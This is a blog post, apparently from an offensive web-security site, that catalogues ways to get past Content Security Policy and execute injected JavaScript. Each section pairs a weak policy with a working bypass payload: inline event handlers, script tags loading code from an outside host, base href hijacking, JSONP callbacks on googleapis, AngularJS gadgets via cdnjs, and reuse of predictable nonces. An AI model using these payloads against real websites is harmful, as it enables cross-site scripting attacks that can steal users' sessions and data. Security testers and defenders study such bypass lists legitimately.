Content Security Policy Bypass Guidelines

Content Security Policy Bypass Guidelines

Content Security Policy (CSP) is the last line of defense against the exploitation of a XSS vulnerability. When correctly implemented, it seems to be extremely effective in doing so (nowadays). Here we will deal with the possible ways to abuse flaws in its implementation. For a comprehensive reference on CSP check here.

Some basic samples are available for exercise before you check this post:

To make it easier to understand and follow we will get straight into the source values we can found for a given directive and how to use them to get a bypass. Some other useful exploitation tricks end this guide.

unsafe-inline

The best CSP source value for script-src directive we can find since it allows everything we might need: event handlers, javascript pseudo-protocol and scripts. A simple <script>alert(1)</script> or <tag onevent=alert(1)> is enough to XSS.

Policy Example:

script-src 'unsafe-inline';

Bypass Example:

<Svg OnLoad=alert(1)>

* (wildcard)

This means that any source  for a given directive is allowed.

Policy Example:

script-src *;

Bypass Example:

<Script Src=//X55.is></Script>

‘self’

For ‘self’ source value for script-src directive we have the following bypass options:

  • Using an uploaded file with Javascript code as source of a script;

Policy Example:

script-src 'self';

Bypass Example:

<Script Src=/uploads/myfile.js></Script>

  • Using a JSONP callback from a relative URL as source of a script;

Policy Example:

script-src 'self';

Bypass Example:

<Script Src=/api/v1?callback=alert(1)></Script>



[blur]

  • Using an existing relative URL to call a JS library and with unsafe-eval source execute a script gadget.

Policy Example:

script-src 'self' 'unsafe-eval';

Bypass Example:

<Script Src=/libs/angular-1.6.0.js></Script>
<K Ng-App>{{$new.constructor('alert(1)')()}}

Whitelisted Scheme 

If data URI (data:) or secure http (https:) is provided as source for a script-src directive, it can be used to bypass this very directive. Note this is only useful for script policies/injections since a https source (except in base element) or a data URI (which runs in blank context for all HTML elements) can’t be used in other XSS vectors.

Policy Example:

script-src data: ;

Bypass Example:

<Script Src=data:,alert(1)></Script>

Policy Example:

script-src https: ;

Bypass Example:

<Script Src=https://X55.is></Script>

Whitelisted Domain

All whitelisted domains are a breach on the respective policy so if we find a way to  import a JSONP endpoint with callback or to include a JS library (with unsafe-eval) too, it will work flawless. An old (also non-verified) list of possible JSONP endpoints with callback for several well known websites can be found here.

Policy Example:

script-src 'https://*.googleapis.com';

Bypass Example:

<Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(1)></Script>

Policy Example:

script-src 'unsafe-eval' 'https://cdnjs.cloudflare.com';

Bypass Example:

<Script Src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js>
</Script><K Ng-App>{{$new.constructor('alert(1)')()}}

base-uri

If there’s a running script in the page called with a relative path like /path/script.js after the point of injection, there’s no base URI set in the document and no base-uri directive, there’s a simple bypass for any CSP implemented.

Policy Example:

script-src 'nonce-r4nd0mch4rs';

Bypass Example:

<Base Href=//X55.is>

Fixed or Predictable Nonce

If a nonce-based policy is implemented and that value is a fixed one or easily predictable (like with sequential, incremental numbers or chars) bypass is straightforward.

Policy Example:

script-src 'nonce-abcd1234';

Bypass Example:

<Script Src=//X55.is Nonce=abcd1234></Script>

Internet Explorer

The old Internet Explorer browser has a very limited coverage of modern CSP, mostly related to frames so it can be safely used as a bypass itself for a given CSP.

*** DOM-based XSS Tip ***

In DOM-based injection scenarios a script used for a CSP bypass might not load so we can use the following to achieve Javascript execution:

[/blur]

Similar Posts